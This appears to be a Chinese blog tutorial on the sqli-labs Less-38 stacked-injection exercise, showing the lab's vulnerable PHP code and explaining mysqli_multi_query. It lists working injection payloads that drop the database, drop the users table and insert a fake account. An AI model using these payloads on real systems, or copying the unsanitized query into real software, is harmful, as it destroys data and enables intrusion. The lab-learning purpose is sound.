当前位置:网站首页>SQL injection Less38 (stack injection)
SQL injection Less38 (stack injection)
2022-07-31 22:52:00 【HUAWEI CLOUD】
<?phpif(isset($_GET['id'])){$id=$_GET['id'];// connectivity//mysql connections for stacked query examples.$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);// Check connectionif (mysqli_connect_errno($con1)){ echo "Failed to connect to MySQL: " . mysqli_connect_error();}else{ @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");}$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";/* execute multi query */if (mysqli_multi_query($con1, $sql)){ /* store first result set */ if ($result = mysqli_store_result($con1)) { if($row = mysqli_fetch_row($result)) { echo '<font size = "5" color= "#00FF00">'; printf("Your Username is : %s", $row[1]); echo "<br>"; printf("Your Password is : %s", $row[2]); echo "<br>"; echo "</font>"; }// mysqli_free_result($result); } /* print divider */ if (mysqli_more_results($con1)) { //printf("-----------------\n"); } //while (mysqli_next_result($con1));}else { echo '<font size="5" color= "#FFFF00">'; print_r(mysqli_error($con1)); echo "</font>"; }/* close connection */mysqli_close($con1);} else { echo "Please input the ID as parameter with numeric value";}?>
==mysqli_multi_query() 函数执行一个或多个针对数据库的查询.多个查询用分号进行分隔==
mysqli_store_result() 转移上一次查询返回的结果集
mysqli_fetch_row() 函数从结果集中取得一行,并作为枚举数组返回.
所以只显示第一个查询的结果,不显示后面的查询结果.
再看这一题,可以和Less1一样,用union注入,可以用来查询数据.
这里我用堆叠注入试了试几个payload?id=1';1=1
?id=1';1=2
?id=1';nihao
?id=1';nihao'
所以的结果都是这样
所以页面只展示第一条查询的结果.后面的查询都无关.
所以我们这里用堆叠注入是查不出数据的,但是==插入数据,删除数据,更新数据,修改表名、数据库名什么的都是可以的==?id=1';drop database security;
?id=1';drop table users;
?id=1';insert into users(username,password) values('happy','coder');
边栏推荐
- Efficient Concurrency: A Detailed Explanation of Synchornized's Lock Optimization
- UVM RAL model and built-in seq
- Embedded development has no passion, is it normal?
- Transfer Learning - Domain Adaptation
- GateWay implements load balancing
- UOS统信系统 - WindTerm使用
- linux view redis version command (linux view mysql version number)
- 基于RT1052 Aworks nanopb string 类型固定长度使用方式(二十七)
- 了解下C# 匿名方法
- Binary tree non-recursive traversal
猜你喜欢
TestCafeSummary
Qualcomm cDSP simple programming example (to query Qualcomm cDSP usage, signature), RK3588 npu usage query
Go mode tidy reports an error go warning “all” matched no packages
Collation of knowledge points in Ningbo University NBU IT project management final exam
Unity - LineRenderer show a line
Daily practice——Randomly generate an integer between 1-100 and see how many times you can guess.Requirements: The number of guesses cannot exceed 7 times, and after each guess, it will prompt "bigger"
Memblaze released the first enterprise-grade SSD based on long-lasting particles. What is the new value behind it?
[Code Hoof Set Novice Village 600 Questions] Leading to the combination of formulas and programs
IJCAI2022 | 代数和逻辑约束的混合概率推理
[NLP] What is the memory of the model!
随机推荐
面试突击69:TCP 可靠吗?为什么?
The uniapp applet checks and prompts for updates
MySQL数据库‘反斜杠\’ ,‘单引号‘’,‘双引号“’,‘null’无法存储
PHP三元(三目)运算符
数据分析(一)——matplotlib
MATLAB program design and application 2.4 Common internal functions of MATLAB
网易云信圈组上线实时互动频道,「破冰」弱关系社交
日常--Kali开启SSH(详细教程)
A shortcut to search for specific character content in idea
Talking about the algorithm security of network security
Efficient Concurrency: A Detailed Explanation of Synchornized's Lock Optimization
Write a database document management tool based on WPF repeating the wheel (1)
基于simulink的Active anti-islanding-AFD主动反孤岛模型仿真
Handwritten a simple web server (B/S architecture)
ThreadLocal
支付模块实现
The difference between adding or not adding the ref keyword when a variable of reference type is used as a parameter in a method call in C#
ECCV 2022 Huake & ETH propose OSFormer, the first one-stage Transformer framework for camouflaging instance segmentation!The code is open source!...
Niuke.com brush questions (1)
Bika LIMS open source LIMS set - use of SENAITE (detection process)